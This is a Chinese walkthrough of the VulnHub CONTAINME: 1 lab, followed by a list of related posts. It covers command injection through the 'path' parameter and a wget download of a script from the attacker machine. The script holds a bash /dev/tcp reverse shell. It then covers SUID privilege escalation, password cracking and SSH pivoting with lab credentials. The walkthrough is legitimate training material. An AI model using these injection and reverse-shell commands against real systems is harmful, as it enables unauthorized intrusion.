准备:

攻击机:虚拟机kali、本机win10。

靶机:CONTAINME: 1,下载地址:https://download.vulnhub.com/containme/THM-ContainMe-v4.ova,下载后直接vm打开即可。

知识点:命令执行、ffuf爆破参数、hxd使用、ida使用(逆向)、john爆破、可疑文件提权、mysql基本操作。

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 172.20.10.0/24,获得靶机地址:172.20.10.3。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 172.20.10.3,显示开放了22、80、2222、8022端口,开启了ssh、http服务。

目录扫描:

使用dirmap对80端口进行目录扫描,发现了index.php、info.php、index.html文件。

访问index.php返回一个目录信息,在其源代码信息中出现隐藏信息:where is the path ?,猜测这里应该是存在参数并且可能执行了ls -al之类的系统命令。

参数爆破:

使用ffuf进行参数爆破,命令:ffuf -u 'http://172.20.10.3/index.php?FUZZ=../../../../../../etc/passwd' -w /usr/share/seclists/Discovery/Web-Content/common.txt -fs 329,成功获得参数名称:path。最后的-fs是为了过滤下无用的返回信息,需要根据具体情况进行调整,这里使用-fs 329就可以。

使用获得path参数输入命令:;id或|id进行测试,发现确实存在命令执行漏洞。

获取shell:

测试时直接使用bash、nc无法反弹shell,通过echo写入脚本文件也是无法写入成功的,后来使用命令:ls -al /查看了下目录权限,发现只有/tmp目录才具有写入权限,但是使用echo往/tmp写入仍是失败。

后来只能在本地写好脚本然后开启http服务,通过命令执行漏洞下载该脚本,命令:;wget -P /tmp http://172.20.10.2:8000/shell.sh。然后通过命令:;ls -al /tmp可以查看上传的脚本信息。如果不确定上传的目录,可以通过ls -al /查看下具有写入权限的目录,不过一般/tmp都可以写入。

#!/bin/bash
bash -c 'bash -i >&/dev/tcp/172.20.10.2/6688 0>&1'

写入脚本文件后在kali端开启对6688端口的监听,命令:nc -lvvp 6688,然后利用命令执行漏洞使用bash进行执行shell.sh文件,命令:bash /tmp/shell.sh,成功获得shell权限。

尝试提权:

查看下当前账户是否存在可以使用的特权命令,sudo -l,但是这个方法这里行不通。

原来想去/home目录下查找下flag文件,但是在/home/mike目录下发现了一个可疑文件,执行该文件结果如下。

使用strings、strace查看或调试该文件信息,但是均失败,显示不存在该命令,想用python开启web服务下载该文件也是失败。

逆向代码信息:

那就只能查看下该文件的二进制数据,命令:xxd -ps /home/mike/1cryptupx。

使用hxd将十六进制编码恢复并导出为1cryptupx文件。

使用ida打开1cryptupx文件,查看下其代码信息并对代码信息进行分析,发现是当我们输入的密码与hash值比对正确时时会执行/bin/bash,那就将hash值复制下来进行爆破,命令:john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt,成功得到密码:mike。

提权至root:

加上密码:mike执行1cryptupx文件,但是返回的仍是www-data权限。

那我们查看当前用户下具有root权限的可执行文件都有哪些,命令:find / -perm -4000 -type f 2>/dev/null,发现了:/usr/share/man/zh_TW/crypt,看到名字和1cryptupx都具有crypt。

查看该文件权限显示当前账户具有可执行权限,使用获得密码:mike进行执行,成功获得root权限,但是未发现flag值,但是发现root后面显示是host1,猜测是否存在另一个虚拟镜像。

提权2:

查看主机ip发现两个新的ip地址:192.168.250.10、172.16.20.2,emmmm接着搞吧。使用nmap对该地址进行扫描,命令:nmap -sn 172.16.20.0/24,但是容器中未安装nmap,需要自己安装:apt install nmap,扫描完成之后发现了172.16.20.6。

扫描下主机172.16.20.6开放的端口对应的服务:nmap -A 172.16.20.6,显示开放了22端口和ssh服务。

虽然开放了ssh服务,但是我们缺少登录密码进行登录,但是在mike账户下发现了密匙信息,因此尝试下使用mike账户的密匙信息进行登录,命令:ssh mike@172.16.20.6 -i id_rsa,成功登录。

查看下当前开启的服务,命令:ss -tuln,发现了mysql服务。

这里尝试了下常用的弱密码,最后password成功连接数据库,命令:mysql -umike -ppassword,然后在account数据库中发现了root账户和mike账户的密码信息:root/bjsig4868fgjjeog、mike/WhatAreYouDoingHere。

利用获得密码信息:root/bjsig4868fgjjeog、mike/WhatAreYouDoingHere切换成root账户,然后在root账户下的/root目录下发现mike.zip文件。

解压mike.zip文件需要输入密码,尝试使用mike账户的密码:WhatAreYouDoingHere进行解密,获得解密后的文件并读取文件信息,成功获取到flag值。

vulnhub靶场之CONTAINME: 1的更多相关文章

  1. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  2. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  3. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  4. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  5. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  6. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  7. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  8. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  9. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  10. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

随机推荐

  1. Linux宝塔如何开启指定的目录浏览功能

    哈喽,各位运维晚上好, 今天突发奇想,想给我的个人博客加一个功能,就是如何去打开一个网站文件夹的目录浏览功能,这个还是挺有趣的. 为了以后我还能想起怎么用,我决定记录下来,以便能用,也能给大家一个参考 ...

  2. 微服务系列之授权认证(三) JWT

    1.JWT简介 官方定义:JWT是JSON Web Token的缩写,JSON Web Token是一个开放标准(RFC 7519),它定义了一种紧凑的.自包含的方式,可以将各方之间的信息作为JSON ...

  3. MySQL8 二进制日志

    启用二进制日志 # cat /etc/my.cnf [mysqld] server_id=100 log_bin=/var/log/mysql/binlogs/server1 # mkdir -p / ...

  4. 清除已安装的rook-ceph集群

    官方文档地址:https://rook.io/docs/rook/v1.8/ceph-teardown.html 如果要拆除群集并启动新群集,请注意需要清理的以下资源: rook-ceph names ...

  5. ingress-nginx 的使用 =》 部署在 Kubernetes 集群中的应用暴露给外部的用户使用

    文章转载自:https://mp.weixin.qq.com/s?__biz=MzU4MjQ0MTU4Ng==&mid=2247488189&idx=1&sn=8175f067 ...

  6. Windows 下JDK绿色免安装制作教程

    java自从被oracle收购后,windows下新的版本只有安装版.没有zip免安装. windows安装版有一下坏处 会写注册表 会将java.exe,javaw.exe 等解压到C:\Windo ...

  7. 把train数据集生成txt(test同理)

    import cv2 import numpy as np import os import sys import pickle data_dir = os.path.join("./&qu ...

  8. ubuntu20.04 利用xrandr命令修改多显示器分辨率

    问题描述 笔记本是ThinkPad X1 Extreme Gen3 4K屏,外接了一个27寸的1080P显示器.目标是让两个显示器的"显示效果"分辨率能一致,就如winwods和m ...

  9. Oracle注入

    Oracle 查询出所有的表 select * from all_tables 查询出当前用户的表 select * from user_tables 查询出所有的字段 select*from all ...

  10. Typora设置代码块Mac风格三个圆点

    写作不停,美化不止! mac小圆点效果 原本代码块样式就挺....干净的,光秃秃的,太单调了: 是吧很丑,于是自己发挥改成了这样: 好吧还是太单调,也没好看到哪里去,于是隔了两天又重新改,DuangD ...